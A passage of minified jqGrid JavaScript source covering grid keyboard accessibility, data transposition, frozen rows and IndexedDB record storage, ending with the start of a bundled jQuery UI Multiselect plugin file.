getNextVisibleCell : function (dirX, dirY) { var nextCell = this.getNextCell( dirX, dirY); if (!nextCell) { return false; } while ( $($t.rows[nextCell.row].cells[nextCell.col]).is(":hidden") ) { $t.p.iRow = nextCell.row; $t.p.iCol = nextCell.col; nextCell = this.getNextCell(dirX, dirY); if ($t.p.iRow === nextCell.row && $t.p.iCol === nextCell.col) { // There are no more cells to try if getNextCell returns the current cell return false; } } if( dirY !== 0 ) { $($t).jqGrid('setSelection', $t.rows[nextCell.row].id, false, null, false); } return nextCell; }, movePage : function ( dir ) { var curpage = $t.p.page, last =$t.p.lastpage; curpage = curpage + dir; if( curpage <= 0) { curpage = 1; } if( curpage > last ) { curpage = last; } if( $t.p.page === curpage ) { return; } $t.p.page = curpage; $t.grid.populate(); } }; var focusableElementsSelector = $.jgrid.focusableElementsList.join(); /* function hasFocusableChild( el) { return $(focusableElementsSelector, el)[0]; } * */ $($t).removeAttr("tabindex"); $($t).on('jqGridAfterGridComplete.setAriaGrid', function( e ) { //var grid = e.target; $("tbody", $t).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+focusableElementsSelector+"))").attr("tabindex", -1); $("tbody", $t).first().find(">tr:not(.jqgfirstrow)").removeAttr("tabindex"); if($t.p.iRow !== undefined && $t.p.iCol !== undefined) { if($t.rows[$t.p.iRow]) { $($t.rows[$t.p.iRow].cells[$t.p.iCol]) .attr('tabindex', 0) .focus( function() { $(this).addClass(highlight);}) .blur( function () { $(this).removeClass(highlight);}); } } }); $t.p.iRow = 1; $t.p.iCol = $.jgrid.getFirstVisibleCol( $t ); $t.p.ariaBody = true; var focusRow=0, focusCol=0; // set the dafualt one var custAct = $.jgrid.isFunction( o.customCellAction ) ? o.customCellAction : false; var delCell = $.jgrid.isFunction( o.beforeDeleteCell ) ? o.beforeDeleteCell : false; var aKeys = new Set(o.specialChars); //var lastVisibleCol = $.jgrid.getLastVisibleCol( $t ); //var firstVisibleCol = $.jgrid.getFirstVisibleCol( $t ); var paste_to_cell = false; $t.addEventListener('paste', function (event) { if(paste_to_cell) { var paste = (event.clipboardData || window.clipboardData).getData('text'); $($t).jqGrid('saveCell', $t.p.iRow, $t.p.iCol, paste); paste_to_cell = false; } }); var onKeyCheck = $.jgrid.isFunction(o.onKeyCheck) ? o.onKeyCheck : false; $($t).on('keydown', function(e) { if($t.p.navigationDisabled && $t.p.navigationDisabled === true) { return; } if(e.target.id.startsWith("jqs_"+$t.p.id)) { return; } if(onKeyCheck) { if(!onKeyCheck.call($t, $t.rows[$t.p.iRow].id, $t.p.iRow, $t.p.iCol, e, baseFunc) ) { return; } } var key = e.which || e.keyCode, nextCell; var ctrl = e.ctrlKey ? e.ctrlKey : ((key === 17) ? true : false); // ctrl detection switch(key) { case (38) : // UP nextCell = baseFunc.getNextVisibleCell(0, -1); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (40) : // DOWN case 13 : // Enter nextCell = baseFunc.getNextVisibleCell(0, 1); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (37) : // LEFT nextCell = baseFunc.getNextVisibleCell(-1, 0); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (39) : // RIGHT nextCell = baseFunc.getNextVisibleCell(1, 0); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case 36 : // HOME if(e.ctrlKey) { focusRow = 1; } else { focusRow = $t.p.iRow; } focusCol = $t.p.frozenColumns ? $t.p.frozenColCount + 1 : 0; e.preventDefault(); break; case 35 : // END if(e.ctrlKey) { focusRow = $t.rows.length - 1; } else { focusRow = $t.p.iRow; } focusCol = $t.p.colModel.length - 1; e.preventDefault(); break; case 33 : // PAGEUP baseFunc.movePage( -1 ); focusCol = $t.p.iCol; focusRow = $t.p.iRow; e.preventDefault(); break; case 34 : // PAGEDOWN baseFunc.movePage( 1 ); focusCol = $t.p.iCol; focusRow = $t.p.iRow; if(focusRow > $t.rows.length-1) { focusRow = $t.rows.length-1; $t.p.iRow = $t.rows.length-1; } e.preventDefault(); break; case 9 : //TAB if (e.shiftKey) { nextCell = baseFunc.getNextVisibleCell(-1, 0); } else { nextCell = baseFunc.getNextVisibleCell(1, 0); } focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case 113 : // F2 try{ $($t).jqGrid('editCell', $t.p.iRow, $t.p.iCol, true, e, false); $t.p.F2key = true; } catch(e1){} break; case 8: // DEL, BACKSPACE case 46: var retDel = true; if( delCell ) { retDel = delCell.call($t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); } if(retDel === true) { $($t).jqGrid('saveCell', $t.p.iRow, $t.p.iCol, ""); } break; case 86: if(ctrl) { paste_to_cell = true; return true; } break; case 90: if(ctrl) { var undofunc = true; if( $.jgrid.isFunction( o.customUndoFunction ) ) { undofunc = o.customUndoFunction.call($t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); } if( undofunc && $t.p.savedValues && $($t).jqGrid('getCell', $t.rows[$t.p.iRow].id, $t.p.colModel[$t.p.iCol].name, false) === $t.p.savedValues.newvalue && $t.p.iRow === $t.p.savedValues.indexRow) { // undo $($t).jqGrid('saveCell', $t.p.iRow, $t.p.iCol, $t.p.savedValues.oldvalue); } return true; } break; default: var isLetter = /^[a-z]$/i.test(e.key); var isNumber = /^[0-9]$/i.test(e.key); var other = false; if(o.addonChars) { other = o.addonChars.test(e.key); } if(isLetter || isNumber || aKeys.has(e.key) || other) { $($t).jqGrid('editCell', $t.p.iRow, $t.p.iCol, true, e, true); } if( custAct ) { custAct.call($t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); } return; } setTimeout(function(){ $($t).jqGrid("focusBodyCell", focusRow, focusCol, getstyle, highlight); },50); }); $($t).on('jqGridBeforeSelectRow.ariaGridClick',function() { return false; }); $($t).on('jqGridCellSelect.ariaGridClick', function(el1, id, status,tdhtml, e) { var el = e.target; if($t.p.iRow > 0 && $t.p.iCol >=0) { $($t.rows[$t.p.iRow].cells[$t.p.iCol]).attr("tabindex", -1); } if($(el).is("td") || $(el).is("th") || el.id.startsWith("jqs_"+$t.p.id)) { $t.p.iCol = el.cellIndex; } else { return; } if($t.p.savedRow.length) { $($t).jqGrid("saveCell",$t.p.savedRow[0].id,$t.p.savedRow[0].ic); } var row = $(el).closest("tr.jqgrow"); $t.p.iRow = row[0].rowIndex; $(el).attr("tabindex", 0) .addClass(highlight) .focus() .blur(function(){$(this).removeClass(highlight);}); }).on('jqGridDblClickRow.ariaGridDblClick', function(el1,id, iRow, iCol, e){ $($t).jqGrid('editCell', iRow, iCol, true, e, false); $t.p.F2key = true; }); }); }, focusBodyCell : function(focusRow, focusCol, _s, _h) { return this.each(function (){ var $t = this, getstyle = !_s ? $.jgrid.getMethod("getStyleUI") : _s, highlight = !_h ? getstyle($t.p.styleUI+'.common','highlight', true) : _h, focusableElementsSelector = $.jgrid.focusableElementsList.join(), fe; function hasFocusableChild( el) { return $(focusableElementsSelector, el)[0]; } if(focusRow !== undefined && focusCol !== undefined) { if (!isNaN($t.p.iRow) && !isNaN($t.p.iCol) && $t.p.iCol >= 0) { fe = hasFocusableChild($t.rows[$t.p.iRow].cells[$t.p.iCol]); if( fe ) { $(fe).attr('tabindex', -1); } else { $($t.rows[$t.p.iRow].cells[$t.p.iCol]).attr('tabindex', -1); } } } else { focusRow = $t.p.iRow; focusCol = $t.p.iCol; } focusRow = parseInt(focusRow, 10); focusCol = parseInt(focusCol, 10); if(focusRow > 0 && focusCol >=0) { fe = hasFocusableChild($t.rows[focusRow].cells[focusCol]); if( fe ) { $(fe).attr('tabindex', 0) .addClass(highlight) .focus() .blur( function () { $(this).removeClass(highlight); }); } else { $($t.rows[focusRow].cells[focusCol]) .attr('tabindex', 0) .addClass(highlight) .focus() .blur(function () { $(this).removeClass(highlight); }); } $t.p.iRow = focusRow; $t.p.iCol = focusCol; } }); }, resetAriaBody : function() { return this.each(function(){ var $t = this, paste_to_cell = false; $t.p.ariaBody = false; $($t).attr("tabindex","0") .off('keydown') .off('jqGridBeforeSelectRow.ariaGridClick') .off('jqGridCellSelect.ariaGridClick') .off('jqGridAfterGridComplete.setAriaGrid'); var focusableElementsSelector = $.jgrid.focusableElementsList.join(); $("tbody",$t).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+focusableElementsSelector+"))").removeAttr("tabindex").off("focus"); $("tbody",$t).first().find(">tr:not(.jqgfirstrow)").attr("tabindex", -1); try { $t.removeEventListener('paste', function(event) { if(paste_to_cell) { var paste = (event.clipboardData || window.clipboardData).getData('text'); $($t).jqGrid('saveCell', $t.p.iRow, $t.p.iCol, paste); paste_to_cell = false; } }, true); } catch(e) {} }); }, ariaHeaderGrid : function( p ) { var o = $.extend({ onHeaderKeyCheck : null }, p || {}); return this.each(function (){ var $t = this, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true), htable = $("#gbox_"+$t.p.id).find(".ui-jqgrid-hbox>table").first(); var onHeaderKeyCheck = $.jgrid.isFunction(o.onHeaderKeyCheck) ? o.onHeaderKeyCheck : false; $('tr.ui-jqgrid-labels', htable).on("keydown", function(e) { var currindex = $t.p.selHeadInd; var key = e.which || e.keyCode; var len = $t.grid.headers.length; if(onHeaderKeyCheck) { if(!onHeaderKeyCheck.call($t, currindex, e) ) { return; } } switch (key) { case 37: // left if(currindex-1 >= 0) { currindex--; while( $($t.grid.headers[currindex].el).is(':hidden') && currindex-1 >= 0) { currindex--; if(currindex < 0) { break; } } if(currindex >= 0) { $($t.grid.headers[currindex].el).focus(); $($t.grid.headers[$t.p.selHeadInd].el).attr("tabindex", "-1"); $t.p.selHeadInd = currindex; e.preventDefault(); } } break; case 39: // right if(currindex+1 < len) { currindex++; while( $($t.grid.headers[currindex].el).is(':hidden') && currindex+1 <len) { currindex++; if( currindex > len-1) { break; } } if( currindex < len) { $($t.grid.headers[currindex].el).focus(); $($t.grid.headers[$t.p.selHeadInd].el).attr("tabindex", "-1"); $t.p.selHeadInd = currindex; e.preventDefault(); } } break; case 13: // enter $($t.grid.headers[currindex].el).find("div").first().trigger('click'); e.preventDefault(); break; default: return; } }); $('tr.ui-jqgrid-labels>th:not(:hidden)', htable).attr("tabindex", -1).focus(function(){ $(this).addClass(highlight).attr("tabindex", "0"); }).blur(function(){ $(this).removeClass(highlight); }); $t.p.selHeadInd = $.jgrid.getFirstVisibleCol( $t ); $($t.grid.headers[$t.p.selHeadInd].el).attr("tabindex","0"); }); }, focusHeaderCell : function( index) { return this.each( function(){ var $t = this; if(index === undefined) { index = $t.p.selHeadInd; } if(index >= 0 && index < $t.p.colModel.length) { $($t.grid.headers[$t.p.selHeadInd].el).attr("tabindex", "-1"); $($t.grid.headers[index].el).focus(); $t.p.selHeadInd = index; } }); }, resetAriaHeader : function() { return this.each(function(){ var htable = $("#gbox_" + this.p.id).find(".ui-jqgrid-hbox>table").first(); $('tr.ui-jqgrid-labels', htable).off("keydown"); $('tr.ui-jqgrid-labels>th:not(:hidden)', htable).removeAttr("tabindex").off("focus blur"); }); }, ariaPagerGrid : function () { return this.each( function(){ var $t = this, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true), disabled = "."+getstyle($t.p.styleUI+'.common','disabled', true), cels = $(".ui-pg-button",$t.p.pager), len = cels.length; cels.attr("tabindex","-1").focus(function(){ $(this).addClass(highlight); }).blur(function(){ $(this).removeClass(highlight); }); $t.p.navIndex = 0; setTimeout( function() { // make another decision here var navIndex = cels.not(disabled).first().attr("tabindex", "0"); $t.p.navIndex = (navIndex[0] && navIndex[0].cellIndex) ? navIndex[0].cellIndex-1 : 0; }, 100); $($t.p.pager).find("table.ui-pager-table tr").first().on("keydown", function(e) { var key = e.which || e.keyCode; var indexa = $t.p.navIndex;//currindex; switch (key) { case 37: // left if(indexa-1 >= 0) { indexa--; while( $(cels[indexa]).is(disabled) && indexa-1 >= 0) { indexa--; if(indexa < 0) { break; } } if(indexa >= 0) { $(cels[$t.p.navIndex]).attr("tabindex","-1"); $(cels[indexa]).attr("tabindex","0").focus(); $t.p.navIndex = indexa; } e.preventDefault(); } break; case 39: // right if(indexa+1 < len) { indexa++; while( $(cels[indexa]).is(disabled) && indexa+1 < len + 1) { indexa++; if( indexa > len-1) { break; } } if( indexa < len) { $(cels[$t.p.navIndex]).attr("tabindex","-1"); $(cels[indexa]).attr("tabindex","0").focus(); $t.p.navIndex = indexa; } e.preventDefault(); } break; case 13: // enter if(!$(e.originalEvent.srcElement).hasClass("ui-pg-input")) { $(cels[indexa]).trigger('click'); e.preventDefault(); } break; default: return; } }); }); }, focusPagerCell : function( index) { return this.each( function(){ var $t = this, cels = $(".ui-pg-button",$t.p.pager), len = cels.length; if(index === undefined) { index = $t.p.navIndex; } if(index >= 0 && index < len) { $(cels[$t.p.navIndex]).attr("tabindex","-1"); $(cels[index]).attr("tabindex","0").focus(); $t.p.navIndex = index; } }); }, resetAriaPager : function() { return this.each(function(){ $(".ui-pg-button",this.p.pager).removeAttr("tabindex").off("focus"); $(this.p.pager).find("table.ui-pager-table tr").first().off("keydown"); }); }, setAriaGrid : function ( p ) { var o = $.extend({ header : true, body : true, pager : true, onEnterCell : null, customCellAction : null, excel : false }, p || {}); return this.each(function(){ if( o.header ) { $(this).jqGrid('ariaHeaderGrid', o); } if( o.body ) { if(o.excel) { $(this).jqGrid('excelLikeGrid', o); } else { $(this).jqGrid('ariaBodyGrid', o); } } if( o.pager ) { $(this).jqGrid('ariaPagerGrid'); } }); }, resetAriaGrid : function( p ) { var o = $.extend({ header : true, body : true, pager : true }, p || {}); return this.each(function(){ var $t = this; if( o.body ) { $($t).jqGrid('resetAriaBody'); } if( o.header ) { $($t).jqGrid('resetAriaHeader'); } if( o.pager ) { $($t).jqGrid('resetAriaPager'); } }); } // end aria grid }); //module begin $.jgrid.extend({ transposeSetup : function( data, options ){ // return the final result. var columns =[], rows=[], model = false, o = $.extend ( {}, options || {}); this.each(function(){ // trnsform data and build colModel var keys = Object.keys(data[o.baseindex]), rowobj, col; if(o.excludeSrcCols.length) { keys = keys.filter(function(item) { return !o.excludeSrcCols.includes(item); }); } // for all columns for(var i =0; i< keys.length; i++) { rowobj = {}; col=0; rowobj.col_name = keys[i]; if(!model) { // build colmodel first item columns.push({name:"col_name"}); } col++; // loop in every row and put it as column for(var j=0; j< data.length; j++) { var tmp = data[j]; rowobj[o.nameprefix + col]= tmp[keys[i]]; if(!model) { // colModel next items columns.push({name:o.nameprefix + col, label : o.labelprefix + col}); } col++; } // colModel is build model = true; rows.push(rowobj); } }); return { "colModel" : columns, "rows": rows }; }, jqTranspose : function( data, transpOpt, gridOpt, ajaxOpt) { transpOpt = $.extend ( { nameprefix : "col", // prefix for the creted name in colModel + index labelprefix : "value ", // prefix for the colNames titles + index baseindex : 0, // which is the base index from source data to transpose rows to cols beforeCreateGrid : null, // even befor creating the jqGrid. passed is a object // containing colModel and data (rows) RowAsHeader : 0, loadMsg : false, excludeSrcCols :[] }, transpOpt || {} ); return this.each(function(){ var $t = this, regional = (gridOpt && gridOpt.regional) ? gridOpt.regional : "en"; if(transpOpt.loadMsg) { $("<div class='loading_pivot ui-state-default ui-state-active row'>"+$.jgrid.getRegional($t, "regional."+regional+".defaults.loadtext")+"</div>").insertBefore($t).show(); } function transpose( data, o) { if(!Array.isArray(data)) { //throw "data provides is not an array"; data = []; } var transpGrid = jQuery($t).jqGrid('transposeSetup',data, transpOpt); if($.jgrid.isFunction(transpOpt.beforeCreateGrid)) { transpOpt.beforeCreateGrid.call($t, transpGrid, data); } if(o.RowAsHeader !== false && o.RowAsHeader >=0 && transpGrid.rows.length && o.RowAsHeader < transpGrid.rows.length) { var labels = transpGrid.rows[o.RowAsHeader], i=0; for(var key in labels) { if( Object.prototype.hasOwnProperty.call(labels, key) ){ //labels.hasOwnProperty(key)) { transpGrid.colModel[i].label = labels[key]; } i++; } transpGrid.rows.splice(o.RowAsHeader,1); } var query= $.jgrid.from.call($t, transpGrid.rows); jQuery($t).jqGrid($.extend(true, { datastr: query.select(), datatype: "jsonstring", colModel: transpGrid.colModel, jsonReader : { repeatitems : false }, viewrecords: true //sortname: transpOpt.xDimension[0].dataName // ????? }, gridOpt || {})); if(transpOpt.loadMsg) { $(".loading_pivot").remove(); } } if(typeof data === "string") { $.ajax($.extend({ url : data, dataType: 'json', success : function(response) { transpose($.jgrid.getAccessor(response, ajaxOpt && ajaxOpt.reader ? ajaxOpt.reader: 'rows'), transpOpt ); } }, ajaxOpt || {}) ); } else { transpose( data, transpOpt ); } }); } }); //module begin $.jgrid.extend({ setupFrozenRows : function ( options ){ var prm = $.extend({ first : 0, last : 0, rowids :[], saveFirstLastId : false, classes : "" }, options || {}); return this.each(function(){ // restrictions if(this.p.subGrid === true || this.p.treeGrid === true || this.p.cellEdit === true || /*$t.p.sortable ||*/ this.p.scroll || this.p.frozenColumns === true || this.p.frozenRows === true|| this.p.grouping === true) { return; } if(prm.first <= 0 && prm.last <= 0 && prm.rowids.length ===0 ) { return; } var $t = this, i, j, len, borderbox = $("#"+$.jgrid.jqID($t.p.id)).css("box-sizing") === 'border-box', pixelfix = borderbox ? 1 : 0, tid = '#'+$.jgrid.jqID($t.p.id), tvid ='#gview_'+$.jgrid.jqID($t.p.id), //hth = $(".ui-jqgrid-htable", tvid).height(),//Get the height of the column header to set the top value hgh = document.getElementById("gbox_"+$t.p.id).getBoundingClientRect().top, hth = document.getElementById($t.p.id).getBoundingClientRect().top, htw = $(tvid).width(),//Get the width of the content frowms = [],//store frozen rows fbDiv = $('<div style="position:absolute;left:0px;top:'+(hth-hgh-pixelfix)+'px;height:0px;overflow-x:hidden;" class="frozen-rdiv ui-jqgrid-rdiv"></div>'); $(tvid).append(fbDiv); $('.frozen-rdiv', tvid).css('width',htw-($.jgrid.scrollbarWidth()+2)); frowms.push($('.jqgfirstrow', tid).clone(true)); if(prm.rowids && prm.rowids.length > 0 ) { for( i =0;i<prm.rowids.length; i++ ) { j = $t.rows.length; while( j-- ) { if($t.rows[j].id === prm.rowids[i]) { frowms.push($($t.rows[j]).clone(true)); $($t.rows[j]).insertBefore($t.rows[i+1]); break; } } } } else if(prm.first > 0) { for(i = 0; i < prm.first; i++) { frowms.push($($t.rows[i+1]).clone(true)); if(prm.saveFirstLastId) { if(!prm.rowids) { prm.rowids =[]; } prm.rowids.push($t.rows[i+1].id); } } } else if(prm.last > 0) { j = $t.rows.length; for(i = 0; i < prm.last; i++) { frowms.splice(1,0,$($t.rows[j-1]).clone(true)); if(prm.saveFirstLastId) { if(!prm.rowids) { prm.rowids =[]; } prm.rowids.unshift($t.rows[j-1].id); } $($t.rows[j-1]).insertBefore($t.rows[1]); } } else { return; } fbDiv.css("height", 'auto'); var out = $(tid).clone(true);//Get the <table><tbody></tbody></table> tag out.children('tbody').empty(); for(j = 0 ,len = frowms.length; j <len; j++){//Loop insert the cloned row into the <tbody></tbody> tag frowms[j].addClass(prm.classes).appendTo(out); } out.appendTo(fbDiv); var tfid = $t.p.id +"_fr"; $(tid, fbDiv).attr("id", tfid); tfid = '#'+$.jgrid.jqID(tfid); /* * Set the events required in freezing * */ var getstyle = $.jgrid.getMethod("getStyleUI"), stylemodule = $t.p.styleUI + ".common", //disabled = getstyle(stylemodule,'disabled', true), highlight = getstyle(stylemodule,'highlight', true), hover = getstyle(stylemodule,'hover', true); $('.frozen-rdiv', tvid).on('click','tr',function(){//click on the frozen line to add a highlight effect if($t.p.selrow) { $($t).jqGrid('resetSelection',$t.p.selrow); } var index = $(this).index(); $(this).addClass(highlight).siblings().removeClass(highlight); $t.p.selrow = this.id; $('.frozen-rdiv tr').eq(index).addClass(highlight).siblings().removeClass(highlight); }); $(tfid).on('click',function(){//When the click is a frozen column, the highlighting effect of the frozen column is clear $('.frozen-rdiv tbody').children('tr').each(function(){ $(this).removeClass(highlight); }); }); var bdiv = $(tvid +" .ui-jqgrid-bdiv").first(); bdiv.on('scroll', function(){//Set the left and right scroll of the frozen line var curX = this.scrollLeft; $('.frozen-rdiv').scrollLeft(curX); }); $('.frozen-rdiv tr').hover(//Set the effect of moving the mouse on the frozen line function(){ var index = $(this).index(); $('.frozen-rdiv tr').eq(index).addClass(hover); }, function(){ var index = $(this).index(); $('.frozen-rdiv tr').eq(index).removeClass(hover); } ); if($t.p.rownumbers) { var find_index = false; try { $($t.rows[0].cells).each(function(k){ if( $(this).hasClass('jqgrid-rownumber')) { find_index = k; return false; } }); if(find_index !== false) { j = $t.rows.length; i=1; while (i<j) { $($t.rows[i].cells[find_index]).html( i ); i++; } j = $(tfid)[0].rows.length; i=1; while (i<j) { $(tfid)[0].rows[i].cells[find_index].innerHTML = i ; i++; } } } catch(e){} } $t.grid.frbDiv = fbDiv; $t.p.frozenRows = true; $t.p.frozenRowsPrm = prm; }); }, destroyFrozenRows : function(deep) { return this.each(function(){ this.grid.frbDiv.remove(); this.p.frozenRows = false; if(deep) { this.p.frozenRowsPrm = null; } }); }, setFrozenRows : function( options ) { return this.each(function(){ if( this.p.records > 0 ) { $(this).jqGrid("setupFrozenRows", options); } $(this).on('jqGridAfterGridComplete.setFrozenRows', function () { if(this.p.frozenRowsPrm && !$.isEmptyObject(this.p.frozenRowsPrm)) { $(this).jqGrid("destroyFrozenRows"); $(this).jqGrid("setupFrozenRows", this.p.frozenRowsPrm); } else { $(this).jqGrid("setupFrozenRows", options); } }); $(this).on('jqGridResizeStop.setFrozenRows', function () { if(this.p.frozenRowsPrm) { try { $(this).jqGrid("destroyFrozenRows"); var test = this.p.frozenRowsPrm.last > 0 && !this.p.frozenRowsPrm.saveFirstLastId && this.p.frozenRowsPrm.first === 0; if(test) { this.p.frozenRowsPrm.first = this.p.frozenRowsPrm.last; } $(this).jqGrid("setupFrozenRows", this.p.frozenRowsPrm); if(test) { this.p.frozenRowsPrm.first = 0; } } catch(e){} } }); }); } }); //module begin $.jgrid.extend({ dbInit : function (dbtype) { return this.each(function (){ switch (dbtype) { case 'indexeddb': $(this).jqGrid('_initIndexedDB_'); break; } }); }, _initIndexedDB_ : function() { this.each(function(){ var ts = this; indexedDB.databases().then(function(r) { const connection = indexedDB.open(ts.p.dbconfig.dbname /*, ts.p.dbconfig.dbversion*/); connection.onupgradeneeded = (e) => { console.info('Database created: '+ts.p.dbconfig.dbname); }; connection.onsuccess = function(e) { const db = e.target.result; var version = parseInt(db.version), idcol = $.jgrid.getElemByAttrVal(ts.p.colModel, 'key', true); async function getIndexedDbData( skipCreate ) { var data, options = ts.p.dbconfig; if(typeof options.dataUrl === 'string') { try { let req = await fetch(options.dataUrl, options.fetchOptions); data = await req.json(); if(options.reader !== null) { data = $.jgrid.getAccessor(data, options.reader); } } catch(error) { console.log("Error:" +error); return; } if($.jgrid.isFunction(options.beforeInsertData)) { data = options.beforeInsertData.call(ts, data); } } else if(Array.isArray(options.dataUrl)) { data = options.dataUrl; } ts.p.dbconfig.dbversion = version + 1; var secondconn = indexedDB.open(options.dbname, version + 1/*, ts.p.dbconfig.dbversion*/); secondconn.onupgradeneeded = function (e) { var db = e.target.result; if(!skipCreate) { const objectStore = db.createObjectStore(ts.p.dbconfig.dbtable, {keyPath: idcol.name}); for(let i =0;i<ts.p.colModel.length; i++) { let cm = ts.p.colModel[i]; if(cm.name === idcol.name) { objectStore.createIndex(cm.name, cm.name, { unique: true }); } else { objectStore.createIndex(cm.name, cm.name, { unique: false }); } } } const transaction = e.target.transaction; const objectStore1 = transaction.objectStore(ts.p.dbconfig.dbtable); objectStore1.transaction.oncomplete = function(e){ // data added //ts.p.dbconfig.loadIfExists = false; }; objectStore1.transaction.onerror = function(e){ $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }; for(var row of data){ if(!ts.p.dbconfig.isKeyInData) { row[idcol.name] = Math.random().toString(16).slice(2); } objectStore1.put(row); } ts.p.dbconfig.ready_req = true; ts.grid.populate(); }; secondconn.onerror =(e) => { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }; } if($.isEmptyObject(idcol)) { $.jgrid.info_dialog("Warning","Missed key: No uniquie key is set in colModel. Creating table fail",'Close'); return; } if( !db.objectStoreNames.contains(ts.p.dbconfig.dbtable) ) { db.close(); getIndexedDbData( false ); } else if(ts.p.dbconfig.loadIfExists || ts.p.dbconfig.deleteIfExists) { const tr = db.transaction(ts.p.dbconfig.dbtable, "readwrite"); const oS = tr.objectStore(ts.p.dbconfig.dbtable); const countRequest = oS.count(); countRequest.onsuccess = () => { if(countRequest.result > 0) { if(ts.p.dbconfig.deleteIfExists) { const objectStoreRequest = oS.clear(); objectStoreRequest.onsuccess = (event) => { // report the success of our request console.log("All records are cleared"); db.close(); getIndexedDbData( true ); }; objectStoreRequest.onerror = (e) => { // report the success of our request $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }; } else if(ts.p.dbconfig.loadIfExists) { db.close(); getIndexedDbData( true ); } else { db.close(); ts.p.dbconfig.ready_req = true; ts.grid.populate(); } } else { db.close(); getIndexedDbData( true ); } }; } else { db.close(); ts.p.dbconfig.ready_req = true; ts.grid.populate(); } }; connection.onerror =(e) => { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }; }); });}, updateStorageRecord : async function (data, keyName) { let ts = this[0], dbcfg = ts.p.dbconfig, type = ts.p.datatype; return new Promise(function(resolve, reject){ if(!Array.isArray(data)) { data = [data]; } if(!keyName) { keyName = ts.p.keyName; } data = $.jgrid.normalizeDbData.call(ts, data, ts.p.colModel ); switch(type) { case 'indexeddb' : const DBOpenRequest = window.indexedDB.open(dbcfg.dbname /*, dbcfg.dbversion*/); DBOpenRequest.onsuccess = (event) => { const db = DBOpenRequest.result; const transaction = db.transaction(dbcfg.dbtable, "readwrite"); transaction.oncomplete = (event) => { resolve(event); console.log("Transaction completed succefully"); }; transaction.onerror = (event) => { reject(event); try { $.jgrid.info_dialog.call("Error", event.target.error, "Close", {styleUI : ts.p.styleUI}); } catch (e) { console.log(event.target.error); } }; const objectStore = transaction.objectStore(dbcfg.dbtable); for(let i=0;i<data.length;i++) { if(!data[i].hasOwnProperty(keyName) || data[i][keyName] === "") { transaction.abort(); break; } const req2 = objectStore.openCursor(); req2.onsuccess = (e) => { const cursor = e.target.result; if(!cursor) { return; } var updateData = cursor.value; if(updateData[keyName] === data[i][keyName]) { delete data[i].oper; updateData = Object.assign(updateData, data[i]); const updateRequest = cursor.update(updateData); return; } else { cursor.continue(); } }; req2.onerror = (e) => { console.log(e.target.error); }; } }; break; } }); }, addStorageRecord : async function (data, keyName) { let ts = this[0], dbcfg = ts.p.dbconfig, type = ts.p.datatype; return new Promise(function(resolve, reject){ if(!Array.isArray(data)) { data = [data]; } if(!keyName) { keyName = ts.p.keyName; } data = $.jgrid.normalizeDbData.call(ts, data, ts.p.colModel ); switch(type) { case 'indexeddb' : const DBOpenRequest = window.indexedDB.open(dbcfg.dbname /*, dbcfg.dbversion*/); DBOpenRequest.onsuccess = (event) => { const db = DBOpenRequest.result; const transaction = db.transaction(dbcfg.dbtable, "readwrite"); transaction.oncomplete = (event) => { resolve(event); console.log("Transaction completed succefully"); }; transaction.onerror = (event) => { reject(event); try { $.jgrid.info_dialog.call("Error", event.target.error, "Close", {styleUI : ts.p.styleUI}); } catch (e) { console.log(event.target.error); } }; const objectStore = transaction.objectStore(dbcfg.dbtable); for(let i=0;i<data.length;i++) { if(!data[i].hasOwnProperty(keyName) || data[i][keyName] === "") { data[i][keyName] = Math.random().toString(16).slice(2); } var objectStoreRequest = objectStore.add(data[i]); objectStoreRequest.onsuccess = (event) => { //console.log(event.type, objectStoreRequest.result); }; } }; break; } }); }, deleteStorageRecord : async function (data, keyName) { let ts = this[0], dbcfg = ts.p.dbconfig, type = ts.p.datatype; return new Promise(function(resolve, reject){ if(!Array.isArray(data)) { data = data.split(","); } if(!keyName) { keyName = ts.p.keyName; } switch(type) { case 'indexeddb' : var test =[], obj={}; for (let i=0;i<data.length;i++) { obj[keyName] = data[i]; test.push(obj); } // detect keytype test = $.jgrid.normalizeDbData.call(ts, test, ts.p.colModel ); const DBOpenRequest = window.indexedDB.open(dbcfg.dbname /*, dbcfg.dbversion*/); DBOpenRequest.onsuccess = (event) => { const db = DBOpenRequest.result; const transaction = db.transaction(dbcfg.dbtable, "readwrite"); transaction.oncomplete = (event) => { resolve(event); console.log("Transaction completed succefully"); }; transaction.onerror = (event) => { reject(event); try { $.jgrid.info_dialog.call("Error", event.target.error, "Close", {styleUI : ts.p.styleUI}); } catch (e) { console.log(event.target.error); } }; const objectStore = transaction.objectStore(dbcfg.dbtable); for(let i=0;i<data.length;i++) { var objectStoreRequest = objectStore.delete(test[i][keyName]); objectStoreRequest.onsuccess = (event) => { console.log("Deleted record: " + data[i]); }; } }; break; } }); } }); }));addons/ui.multiselect.js000064400000026776151677266200011356 0ustar00/* * jQuery UI Multiselect * * Authors: * Michael Aufreiter (quasipartikel.at) * Yanick Rochon (yanick.rochon[at]gmail[dot]com) * * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://www.quasipartikel.at/multiselect/ * * * Depends: * ui.core.js * ui.sortable.js * * Optional: * localization (http://plugins.jquery.com/project/localisation) * scrollTo (http://plugins.jquery.com/project/ScrollTo) * * Todo: * Make batch actions faster * Implement dynamic insertion through remote calls */ (function($) { $.widget("ui.multiselect", { options: { sortable: true, searchable: true, doubleClickable: true, animated: 'fast', show: 'slideDown', hide: 'slideUp', dividerLocation: 0.6, availableFirst: false, nodeComparator: function(node1,node2) 